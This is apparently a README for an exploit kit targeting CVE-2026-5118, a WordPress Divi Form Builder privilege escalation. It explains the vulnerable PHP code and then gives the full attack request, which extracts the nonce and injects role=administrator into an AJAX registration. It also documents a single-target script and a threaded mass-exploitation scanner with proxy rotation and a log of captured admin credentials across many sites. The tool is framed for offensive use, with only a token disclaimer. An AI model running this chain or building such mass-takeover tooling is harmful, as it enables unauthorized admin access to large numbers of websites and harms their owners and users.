
Automated exploit and mass scanner for CVE-2026-5118, an unauthenticated privilege escalation in WordPress Divi Form Builder <=5.1.2, enabling admin account creation via role injection.
Unauthenticated Privilege Escalation via Role Injection
=== Beelze ( zeroday 1diot9 ) ===
| Field | Details |
|---|---|
| CVE ID | CVE-2026-5118 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Improper Privilege Management |
| Plugin | Divi Form Builder (by Divi Engine) |
| Affected | All versions ≤ 5.1.2 |
| Patched | 5.1.3 (April 13, 2026) |
| Published | May 20, 2026 |
| Researcher | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
The Divi Form Builder plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation in all versions up to and including 5.1.2.
The create_user() function inside FormSubmissionHandler.php accepts a user-controlled role parameter from POST data during user registration without validating it against the form's configured default_user_role setting. The only "protection" is sanitize_text_field() — which strips HTML tags and encoding, but does nothing to restrict the value to safe roles — followed by an existence check that merely verifies the role exists in WordPress (and administrator always does).
This triple failure allows unauthenticated attackers to:
fb_nonce) from the de_fb_obj JavaScript objectform_type to register via POST — turning any form into a registration endpointrole=administrator into the AJAX submissionResult: Complete site takeover — zero authentication, zero user interaction, one POST request.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← ONLY strips tags/encoding!
: 'subscriber'; // ← 'administrator' passes CLEAN
sanitize_text_field() is designed for free-text sanitization (XSS prevention). It does NOT validate against an allowlist of safe roles. The string "administrator" contains no HTML tags, no special encoding — it passes through completely untouched.
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← fallback ONLY if role doesn't exist
}
This check asks: "Does this role exist in WordPress?" — and administrator always exists. It never asks the right question: "Is this role safe for public self-registration?" A proper check would validate against an allowlist like ['subscriber', 'contributor'] or enforce the form's default_user_role setting.
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← attacker-controlled role applied directly!
No current_user_can('create_users') check. No current_user_can('promote_users') check. No capability verification of any kind. The attacker-supplied role is passed straight to set_role().
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← SAME nonce on ALL forms, ALL pages
// ...
]);
The fb_nonce is created via wp_create_nonce('security') — a generic action string shared across every single DFB form on the site. Any visitor can extract it from the page source by reading the de_fb_obj JavaScript object.
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← triggered by POST override!
}
The form_type is read from POST data, not from the server-side form configuration. An attacker can send form_type=register to any DFB AJAX submission — a contact form, a quote request, a newsletter signup — and the server will execute the registration code path. The form's original purpose is irrelevant.
[Unauthenticated Attacker]
│
▼
GET /any-page-with-dfb-form/
← HTML source: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extract fb_nonce from de_fb_obj JavaScript object
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← INJECTED │
│ form_type = register ← OVERRIDDEN │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ passes
wp_roles()->roles['administrator'] exists? → YES ✓ passes
$user->set_role('administrator') ✓ no capability check
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Full Administrator Access] 🔥
CVE-2026-5118.py — Single Target ExploitFull 5-phase exploit chain with automatic form discovery and nonce extraction.
python3 CVE-2026-5118.py
Target URL: https://target.com
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [[email protected]]:
Timeout (seconds) [15]:
SOCKS5 proxy (blank = none):
Exploit Phases:
Phase 1 ▶ Reachability (HTTPS + HTTP fallback)
Phase 2 ▶ Plugin Detection (readme.txt version check)
Phase 3 ▶ Form Discovery & Nonce Extraction
├── REST API page scan
├── Common path probing
├── Sitemap crawl
└── Homepage link crawl
Phase 4 ▶ Role Injection (Privilege Escalation)
Phase 5 ▶ Admin Login Verification
Output (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — Mass ScannerThreaded mass exploitation with JSONL logging and resume support.
python3 CVE-2026-5118-mass.py
Target file (one URL per line): targets.txt
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [[email protected]]:
Threads [10]:
Timeout (seconds) [10]:
Proxy file (SOCKS5, one per line, blank = none):
Resume previous scan? (y/n) [n]:
Features:
Output (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role setting, ignoring any user-supplied role parameter from POST dataBeelze ( zeroday 1diot9 ) — for educational and authorized security research only